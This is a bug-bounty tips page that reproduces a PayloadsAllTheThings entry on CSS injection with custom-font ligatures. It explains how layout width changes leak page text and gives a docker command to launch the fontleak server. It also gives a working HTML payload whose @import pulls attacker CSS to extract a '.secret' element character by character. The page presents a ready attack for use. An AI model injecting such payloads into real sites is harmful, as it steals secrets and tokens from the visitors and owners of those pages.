CSS Injection: Ligatures

Other injection (LDAP, XPath, XSLT, CSS, LaTeX)Exploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout.

  1. Create a custom font with ligatures for target strings.

  2. Use media queries or scrollbars to detect if the rendered width of the element has changed.

ps1
docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest

Payload example using fontleak with a custom selector, parent element, and alphabet. Warning: The CSS selector must match exactly one element in the target page.

html
<style>@import url("http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789");</style>

Comments

No comments yet.